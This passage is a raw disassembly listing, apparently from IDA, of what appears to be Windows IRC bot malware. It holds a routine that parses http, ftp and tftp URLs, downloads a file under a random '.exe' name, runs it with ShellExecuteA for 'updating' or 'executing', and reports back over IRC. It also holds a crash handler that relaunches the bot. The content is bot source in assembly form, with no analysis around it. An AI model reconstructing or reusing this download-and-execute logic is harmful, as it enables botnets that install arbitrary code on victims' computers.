3Ah jnz loc_402CD8 mov [ebp+var_7E0], 1 jmp short loc_402BF2 ; --------------------------------------------------------------------------- loc_402BE5: ; CODE XREF: sub_402A32:loc_402CD3j mov eax, [ebp+var_7E0] inc eax mov [ebp+var_7E0], eax loc_402BF2: ; CODE XREF: sub_402A32+1B1j mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] test eax, eax jz short loc_402C23 mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 2Fh jnz short loc_402C7A loc_402C23: ; CODE XREF: sub_402A32+1D6j mov eax, [ebp+var_7E0] and [ebp+eax+var_6D5], 0 lea eax, [ebp+var_6D4] push eax call sub_40422A pop ecx test eax, eax jz short loc_402C75 mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_638] add eax, [ebp+var_7E0] push eax mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_638] push eax call sub_416B3A ; strcpy pop ecx pop ecx mov [ebp+var_6C8], 1 loc_402C75: ; CODE XREF: sub_402A32+20Ej jmp loc_403251 ; --------------------------------------------------------------------------- loc_402C7A: ; CODE XREF: sub_402A32+1EFj mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 30h jl short loc_402CCE mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 39h jg short loc_402CCE mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] mov ecx, [ebp+var_7E0] mov al, [ebp+eax+var_638] mov [ebp+ecx+var_6D5], al jmp short loc_402CD3 ; --------------------------------------------------------------------------- loc_402CCE: ; CODE XREF: sub_402A32+25Fj ; sub_402A32+278j jmp loc_40324C ; --------------------------------------------------------------------------- loc_402CD3: ; CODE XREF: sub_402A32+29Aj jmp loc_402BE5 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_402A32+1A1j jmp loc_402BA8 ; --------------------------------------------------------------------------- loc_402CDD: ; CODE XREF: sub_402A32+18Aj ; sub_402A32:loc_40324Cj ... push 7 push offset aHttp ; "http://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402D37 cmp [ebp+var_6C8], 0 jnz short loc_402D13 push offset a80 ; "80" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_402D13: ; CODE XREF: sub_402A32+2CCj lea eax, [ebp+var_631] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; strcpy pop ecx pop ecx mov [ebp+var_6CC], 1 jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402D37: ; CODE XREF: sub_402A32+2C3j push 6 push offset aFtp ; "ftp://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402DB7 cmp [ebp+var_6C8], 0 jnz short loc_402D6D push offset a21 ; "21" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_402D6D: ; CODE XREF: sub_402A32+326j lea eax, [ebp+var_632] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; strcpy pop ecx pop ecx mov [ebp+var_6CC], 2 push offset aAnonymous ; "anonymous" lea eax, [ebp+var_284] push eax call sub_416B3A ; strcpy pop ecx pop ecx push offset aAnonymous ; "anonymous" lea eax, [ebp+var_6BC] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402DB7: ; CODE XREF: sub_402A32+31Dj push 7 push offset aTftp ; "tftp://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402E0E cmp [ebp+var_6C8], 0 jnz short loc_402DED push offset a69 ; "69" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_402DED: ; CODE XREF: sub_402A32+3A6j lea eax, [ebp+var_631] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; strcpy pop ecx pop ecx mov [ebp+var_6CC], 3 jmp short loc_402E3D ; --------------------------------------------------------------------------- loc_402E0E: ; CODE XREF: sub_402A32+39Dj mov eax, [ebp+var_63C] push dword ptr [eax] push offset unk_418500 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 0Ch push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402E3D: ; CODE XREF: sub_402A32+300j ; sub_402A32+380j ... lea eax, [ebp+var_638] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_6C0], eax jmp short loc_402E5F ; --------------------------------------------------------------------------- loc_402E52: ; CODE XREF: sub_402A32:loc_402F11j mov eax, [ebp+var_6C0] dec eax mov [ebp+var_6C0], eax loc_402E5F: ; CODE XREF: sub_402A32+41Ej cmp [ebp+var_6C0], 0FFFFFFFFh jz loc_402F16 mov eax, [ebp+var_6C0] movsx eax, [ebp+eax+var_638] cmp eax, 40h jnz loc_402F11 mov eax, [ebp+var_6C0] and [ebp+eax+var_638], 0 push offset asc_4184FC ; ":" lea eax, [ebp+var_638] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_7E4], eax cmp [ebp+var_7E4], 0 jz short loc_402ED8 mov eax, [ebp+var_7E4] and byte ptr [eax], 0 push 80h mov eax, [ebp+var_7E4] inc eax push eax lea eax, [ebp+var_6BC] push eax call sub_407A56 add esp, 0Ch loc_402ED8: ; CODE XREF: sub_402A32+47Fj push 80h lea eax, [ebp+var_638] push eax lea eax, [ebp+var_284] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_637] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_402F16 ; --------------------------------------------------------------------------- loc_402F11: ; CODE XREF: sub_402A32+44Bj jmp loc_402E52 ; --------------------------------------------------------------------------- loc_402F16: ; CODE XREF: sub_402A32+434j ; sub_402A32+4DDj push offset asc_4184F8 ; "/" lea eax, [ebp+var_638] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_288], eax cmp [ebp+var_288], 0 jnz short loc_402F67 mov eax, [ebp+var_63C] push dword ptr [eax] push offset unk_4184CC lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 0Ch push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402F67: ; CODE XREF: sub_402A32+504j mov eax, [ebp+var_288] inc eax push eax lea eax, [ebp+var_204] push eax call sub_416B3A ; strcpy pop ecx pop ecx mov eax, [ebp+var_288] and byte ptr [eax], 0 lea eax, [ebp+var_638] push eax lea eax, [ebp+var_100] push eax call sub_416B3A ; strcpy pop ecx pop ecx call sub_416B64 ; clock mov [ebp-6D8h], eax and [ebp+var_6C4], 0 cmp [ebp+var_6CC], 1 jnz short loc_403009 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_6BC] push eax lea eax, [ebp+var_284] push eax call sub_402698 add esp, 24h mov [ebp+var_28C], eax loc_403009: ; CODE XREF: sub_402A32+582j cmp [ebp+var_6CC], 2 jnz short loc_403065 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_6BC] push eax lea eax, [ebp+var_284] push eax call sub_402A24 add esp, 24h mov [ebp+var_28C], eax loc_403065: ; CODE XREF: sub_402A32+5DEj cmp [ebp+var_6CC], 3 jnz short loc_4030B3 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax call sub_402A2B add esp, 1Ch mov [ebp+var_28C], eax loc_4030B3: ; CODE XREF: sub_402A32+63Aj ; sub_402A32:loc_403256j cmp [ebp+var_28C], 1 jnz loc_403219 movsx eax, [ebp+var_296] test eax, eax jz short loc_4030D7 mov [ebp+var_7EC], offset aUpdating ; ", updating" jmp short loc_403104 ; --------------------------------------------------------------------------- loc_4030D7: ; CODE XREF: sub_402A32+697j movsx eax, [ebp+var_2A6] test eax, eax jz short loc_4030EE mov [ebp+var_7F0], offset aExecuting ; ", executing" jmp short loc_4030F8 ; --------------------------------------------------------------------------- loc_4030EE: ; CODE XREF: sub_402A32+6AEj mov [ebp+var_7F0], offset byte_41DE30 loc_4030F8: ; CODE XREF: sub_402A32+6BAj mov eax, [ebp+var_7F0] mov [ebp+var_7EC], eax loc_403104: ; CODE XREF: sub_402A32+6A3j push [ebp+var_7EC] mov eax, [ebp+var_6C4] shr eax, 0Ah mov dword ptr [ebp+var_7F8], eax and dword ptr [ebp+var_7F8+4], 0 fild [ebp+var_7F8] fstp [ebp+var_7FC] call sub_416B64 ; clock sub eax, [ebp-6D8h] mov dword ptr [ebp+var_804], eax and dword ptr [ebp+var_804+4], 0 fild [ebp+var_804] fdiv ds:flt_417270 fdivr [ebp+var_7FC] push ecx push ecx fstp [esp+814h+var_814] lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41846C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 1Ch movsx eax, [ebp+var_2A7] test eax, eax jz short loc_403198 lea eax, [ebp+var_534] push eax call ds:dword_4170AC ; DeleteFileA jmp short loc_403217 ; --------------------------------------------------------------------------- loc_403198: ; CODE XREF: sub_402A32+755j movsx eax, [ebp+var_2A6] test eax, eax jnz short loc_4031AE movsx eax, [ebp+var_296] test eax, eax jz short loc_403217 loc_4031AE: ; CODE XREF: sub_402A32+76Fj movsx eax, [ebp+var_2A3] neg eax sbb eax, eax inc eax push eax push 0 push 0 lea eax, [ebp+var_534] push eax push offset aOpen ; "open" push 0 call ds:dword_4171D0 ; ShellExecuteA mov [ebp+var_7E8], eax cmp [ebp+var_7E8], 20h jbe short loc_4031F4 movsx eax, [ebp+var_296] test eax, eax jz short loc_4031F2 call sub_407148 loc_4031F2: ; CODE XREF: sub_402A32+7B9j jmp short loc_403217 ; --------------------------------------------------------------------------- loc_4031F4: ; CODE XREF: sub_402A32+7AEj lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_418444 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_403217: ; CODE XREF: sub_402A32+764j ; sub_402A32+77Aj ... jmp short loc_40323C ; --------------------------------------------------------------------------- loc_403219: ; CODE XREF: sub_402A32+688j lea eax, [ebp+var_7DC] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_418414 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_40323C: ; CODE XREF: sub_402A32:loc_403217j push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp short loc_40325B ; --------------------------------------------------------------------------- loc_40324C: ; CODE XREF: sub_402A32:loc_402CCEj jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403251: ; CODE XREF: sub_402A32:loc_402C75j jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403256: ; CODE XREF: sub_402A32:loc_402B8Ej jmp loc_4030B3 ; --------------------------------------------------------------------------- loc_40325B: ; CODE XREF: sub_402A32+157j ; sub_402A32+406j ... pop edi leave retn 4 sub_402A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403260 proc near ; CODE XREF: sub_40A9CF+959p var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_4], 0 jnz short loc_403271 jmp locret_403329 ; --------------------------------------------------------------------------- loc_403271: ; CODE XREF: sub_403260+Aj push 3AFh call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_40328A jmp locret_403329 ; --------------------------------------------------------------------------- loc_40328A: ; CODE XREF: sub_403260+23j push 8 push 7Ah push 61h push 4 lea eax, [ebp+var_10] push eax call sub_410501 add esp, 14h and [ebp+eax+var_10], 0 push offset a_exe ; ".exe" lea eax, [ebp+var_10] push eax call sub_416B70 ; strcat pop ecx pop ecx cmp [ebp+arg_8], 0 jnz short loc_4032BF lea eax, [ebp+var_10] mov [ebp+arg_8], eax loc_4032BF: ; CODE XREF: sub_403260+57j push 104h push [ebp+arg_4] mov eax, [ebp+var_14] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_14] add eax, 108h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_14] add eax, 20Ch push eax call sub_405F67 pop ecx pop ecx mov eax, [ebp+var_14] add eax, 108h push eax mov eax, [ebp+var_14] add eax, 4 push eax push offset dword_4185FC push 0 push [ebp+var_14] push offset sub_402A32 call sub_4095A4 add esp, 18h locret_403329: ; CODE XREF: sub_403260+Cj ; sub_403260+25j leave retn sub_403260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40332B proc near ; CODE XREF: sub_4093B6+A0p ; sub_4094E6+9Bp ... var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 114h push 1 push offset dword_41DE3C call sub_409C88 pop ecx pop ecx mov [ebp+var_4], eax cmp dword_41DE38, 0 jz loc_4034D9 mov [ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER" mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax] mov [ebp+var_110], eax cmp [ebp+var_110], 0C0000025h ja short loc_4033A4 cmp [ebp+var_110], 0C0000025h jz short loc_4033FA cmp [ebp+var_110], 80000003h jz short loc_4033DF cmp [ebp+var_110], 0C0000005h jz short loc_4033D6 cmp [ebp+var_110], 0C000001Dh jz short loc_4033E8 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033A4: ; CODE XREF: sub_40332B+45j cmp [ebp+var_110], 0C000008Dh jb short loc_403413 cmp [ebp+var_110], 0C0000093h jbe short loc_40340C cmp [ebp+var_110], 0C0000094h jz short loc_4033F1 cmp [ebp+var_110], 0C00000FDh jz short loc_403403 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033D6: ; CODE XREF: sub_40332B+69j mov [ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033DF: ; CODE XREF: sub_40332B+5Dj mov [ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033E8: ; CODE XREF: sub_40332B+75j mov [ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033F1: ; CODE XREF: sub_40332B+9Bj mov [ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033FA: ; CODE XREF: sub_40332B+51j mov [ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_403403: ; CODE XREF: sub_40332B+A7j mov [ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_40340C: ; CODE XREF: sub_40332B+8Fj mov [ebp+var_8], offset aException_flt ; "EXCEPTION_FLT" loc_403413: ; CODE XREF: sub_40332B+77j ; sub_40332B+83j ... mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_40342A mov [ebp+var_114], offset aRestarting ; "Restarting" jmp short loc_403434 ; --------------------------------------------------------------------------- loc_40342A: ; CODE XREF: sub_40332B+F1j mov [ebp+var_114], offset aContinuing ; "Continuing" loc_403434: ; CODE XREF: sub_40332B+FDj push [ebp+var_114] push [ebp+var_8] mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C0h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+9Ch] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A0h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0ACh] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B0h] mov eax, [ebp+var_4] inc eax push eax push [ebp+arg_8] push [ebp+arg_4] push offset dword_41864C push offset aLast ; "#last" call sub_40D4AB add esp, 48h loc_4034D9: ; CODE XREF: sub_40332B+21j mov eax, [ebp+var_4] inc eax cmp eax, 64h jz short loc_4034ED mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_403558 loc_4034ED: ; CODE XREF: sub_40332B+1B5j push 104h lea eax, [ebp+var_10C] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA test eax, eax jz short loc_403545 push 0 push 0 push 0 lea eax, [ebp+var_10C] push eax push offset aOpen ; "open" push 0 call ds:dword_4171D0 ; ShellExecuteA cmp eax, 20h ja short loc_403538 push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp short loc_403543 ; --------------------------------------------------------------------------- loc_403538: ; CODE XREF: sub_40332B+1FEj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403543: ; CODE XREF: sub_40332B+20Bj jmp short loc_403550 ; --------------------------------------------------------------------------- loc_403545: ; CODE XREF: sub_40332B+1DFj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403550: ; CODE XREF: sub_40332B:loc_403543j push 0 call ds:dword_41705C ; ExitProcess loc_403558: ; CODE XREF: sub_40332B+1C0j mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax], 80000003h jnz short loc_403583 mov eax, [ebp+arg_0] mov eax, [eax+4] mov eax, [eax+0B8h] inc eax mov ecx, [ebp+arg_0] mov ecx, [ecx+4] mov [ecx+0B8h], eax or eax, 0FFFFFFFFh jmp short locret_403586 ; --------------------------------------------------------------------------- loc_403583: ; CODE XREF: sub_40332B+238j push 1 pop eax locret_403586: ; CODE XREF: sub_40332B+256j leave retn sub_40332B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403588 proc near ; DATA XREF: sub_403BD3:loc_403D85o var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = dword ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 48h cmp [ebp+arg_8], 0 jz short loc_4035E2 mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jz short loc_4035BB mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 2 jz short loc_4035BB push 273Fh call ds:dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035BB: ; CODE XREF: sub_403588+13j ; sub_403588+1Cj mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 1 jz short loc_4035E2 mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 2 jz short loc_4035E2 push 273Ch call ds:dword_417234 ; WSASetLastError mov eax, 273Ch jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035E2: ; CODE XREF: sub_403588+Aj ; sub_403588+3Aj ... cmp [ebp+arg_0], 0 jnz loc_4036D6 push 30h call sub_416B46 ; malloc pop ecx mov [ebp+var_34], eax cmp [ebp+var_34], 0 jnz short loc_40360D push 8 call ds:dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40360D: ; CODE XREF: sub_403588+73j push 30h push 0 push [ebp+var_34] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp+var_30] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_30], 2 cmp [ebp+arg_4], 0 jz short loc_40364C push [ebp+arg_4] call sub_416B9C ; atoi pop ecx push eax call ds:dword_417238 ; ntohs mov [ebp+var_2E], ax loc_40364C: ; CODE XREF: sub_403588+AEj mov eax, [ebp+var_34] mov dword ptr [eax+4], 2 cmp [ebp+arg_8], 0 jz short loc_403667 mov eax, [ebp+arg_8] mov eax, [eax+8] mov [ebp+var_38], eax jmp short loc_40366E ; --------------------------------------------------------------------------- loc_403667: ; CODE XREF: sub_403588+D2j mov [ebp+var_38], 1 loc_40366E: ; CODE XREF: sub_403588+DDj mov eax, [ebp+var_34] mov ecx, [ebp+var_38] mov [eax+8], ecx cmp [ebp+arg_8], 0 jz short loc_403688 mov eax, [ebp+arg_8] mov eax, [eax+0Ch] mov [ebp+var_3C], eax jmp short loc_40368F ; --------------------------------------------------------------------------- loc_403688: ; CODE XREF: sub_403588+F3j mov [ebp+var_3C], 6 loc_40368F: ; CODE XREF: sub_403588+FEj mov eax, [ebp+var_34] mov ecx, [ebp+var_3C] mov [eax+0Ch], ecx mov eax, [ebp+var_34] mov dword ptr [eax+10h], 10h mov eax, [ebp+var_34] add eax, 20h mov ecx, [ebp+var_34] mov [ecx+18h], eax and [ebp+var_2C], 0 push 10h lea eax, [ebp+var_30] push eax mov eax, [ebp+var_34] add eax, 20h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_C] mov ecx, [ebp+var_34] mov [eax], ecx xor eax, eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036D6: ; CODE XREF: sub_403588+5Ej push [ebp+arg_0] call ds:dword_41723C ; gethostbyname mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4036F2 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036F2: ; CODE XREF: sub_403588+15Ej and [ebp+var_20], 0 jmp short loc_4036FF ; --------------------------------------------------------------------------- loc_4036F8: ; CODE XREF: sub_403588+18Cj mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4036FF: ; CODE XREF: sub_403588+16Ej cmp [ebp+var_14], 0 jz short loc_403716 mov eax, [ebp+var_14] mov eax, [eax+0Ch] mov ecx, [ebp+var_20] cmp dword ptr [eax+ecx*4], 0 jz short loc_403716 jmp short loc_4036F8 ; --------------------------------------------------------------------------- loc_403716: ; CODE XREF: sub_403588+17Bj ; sub_403588+18Aj cmp [ebp+var_20], 0 jnz short loc_403726 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_403726: ; CODE XREF: sub_403588+192j mov eax, [ebp+var_20] imul eax, 30h push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_40374C push 8 call ds:dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40374C: ; CODE XREF: sub_403588+1B2j mov eax, [ebp+var_20] imul eax, 30h push eax push 0 push [ebp+var_1C] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp+var_10] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_10], 2 cmp [ebp+arg_4], 0 jz short loc_403790 push [ebp+arg_4] call sub_416B9C ; atoi pop ecx push eax call ds:dword_417238 ; ntohs mov [ebp+var_E], ax loc_403790: ; CODE XREF: sub_403588+1F2j and [ebp+var_18], 0 jmp short loc_40379D ; --------------------------------------------------------------------------- loc_403796: ; CODE XREF: sub_403588:loc_4038A7j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_40379D: ; CODE XREF: sub_403588+20Cj mov eax, [ebp+var_18] cmp eax, [ebp+var_20] jnb loc_4038AC cmp [ebp+arg_8], 0 jz short loc_4037B9 mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_40], eax jmp short loc_4037C0 ; --------------------------------------------------------------------------- loc_4037B9: ; CODE XREF: sub_403588+225j mov [ebp+var_40], 4 loc_4037C0: ; CODE XREF: sub_403588+22Fj mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_40] mov [ecx+eax], edx mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov dword ptr [ecx+eax+4], 2 cmp [ebp+arg_8], 0 jz short loc_4037F1 mov eax, [ebp+arg_8] mov eax, [eax+8] mov [ebp+var_44], eax jmp short loc_4037F8 ; --------------------------------------------------------------------------- loc_4037F1: ; CODE XREF: sub_403588+25Cj mov [ebp+var_44], 1 loc_4037F8: ; CODE XREF: sub_403588+267j mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_44] mov [ecx+eax+8], edx cmp [ebp+arg_8], 0 jz short loc_403819 mov eax, [ebp+arg_8] mov eax, [eax+0Ch] mov [ebp+var_48], eax jmp short loc_403820 ; --------------------------------------------------------------------------- loc_403819: ; CODE XREF: sub_403588+284j mov [ebp+var_48], 6 loc_403820: ; CODE XREF: sub_403588+28Fj mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_48] mov [ecx+eax+0Ch], edx mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov dword ptr [ecx+eax+10h], 10h mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] lea eax, [ecx+eax+20h] mov ecx, [ebp+var_18] imul ecx, 30h mov edx, [ebp+var_1C] mov [edx+ecx+18h], eax mov eax, [ebp+var_14] mov eax, [eax+0Ch] mov ecx, [ebp+var_18] mov eax, [eax+ecx*4] mov eax, [eax] mov [ebp+var_C], eax push 10h lea eax, [ebp+var_10] push eax mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] lea eax, [ecx+eax+20h] push eax call sub_416B52 ; memcpy add esp, 0Ch cmp [ebp+var_18], 0 jz short loc_4038A7 mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] add ecx, eax mov eax, [ebp+var_18] dec eax imul eax, 30h mov edx, [ebp+var_1C] mov [edx+eax+1Ch], ecx loc_4038A7: ; CODE XREF: sub_403588+304j jmp loc_403796 ; --------------------------------------------------------------------------- loc_4038AC: ; CODE XREF: sub_403588+21Bj mov eax, [ebp+arg_C] mov ecx, [ebp+var_1C] mov [eax], ecx xor eax, eax locret_4038B6: ; CODE XREF: sub_403588+2Ej ; sub_403588+55j ... leave retn 10h sub_403588 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038BA proc near ; DATA XREF: sub_403BD3+1BCo var_434 = dword ptr -434h var_430 = byte ptr -430h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 434h cmp [ebp+arg_8], 0 jnz short loc_4038CF cmp [ebp+arg_10], 0 jz short loc_4038D8 loc_4038CF: ; CODE XREF: sub_4038BA+Dj mov eax, [ebp+arg_18] and al, 0E0h test eax, eax jz short loc_4038ED loc_4038D8: ; CODE XREF: sub_4038BA+13j push 2726h call ds:dword_417234 ; WSASetLastError mov eax, 2726h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4038ED: ; CODE XREF: sub_4038BA+1Cj mov eax, [ebp+arg_0] mov [ebp+var_40C], eax mov eax, [ebp+var_40C] movsx eax, word ptr [eax] cmp eax, 2 jz short loc_403919 push 273Fh call ds:dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403919: ; CODE XREF: sub_4038BA+48j cmp [ebp+arg_8], 0 jz loc_403ABA mov eax, [ebp+var_40C] push dword ptr [eax+4] call ds:dword_41721C ; inet_ntoa mov [ebp+var_434], eax cmp [ebp+var_434], 0 jnz short loc_403949 or eax, 0FFFFFFFFh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403949: ; CODE XREF: sub_4038BA+85j push 401h push [ebp+var_434] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+arg_18] and eax, 2 test eax, eax jz short loc_403972 jmp loc_403BB4 ; --------------------------------------------------------------------------- loc_403972: 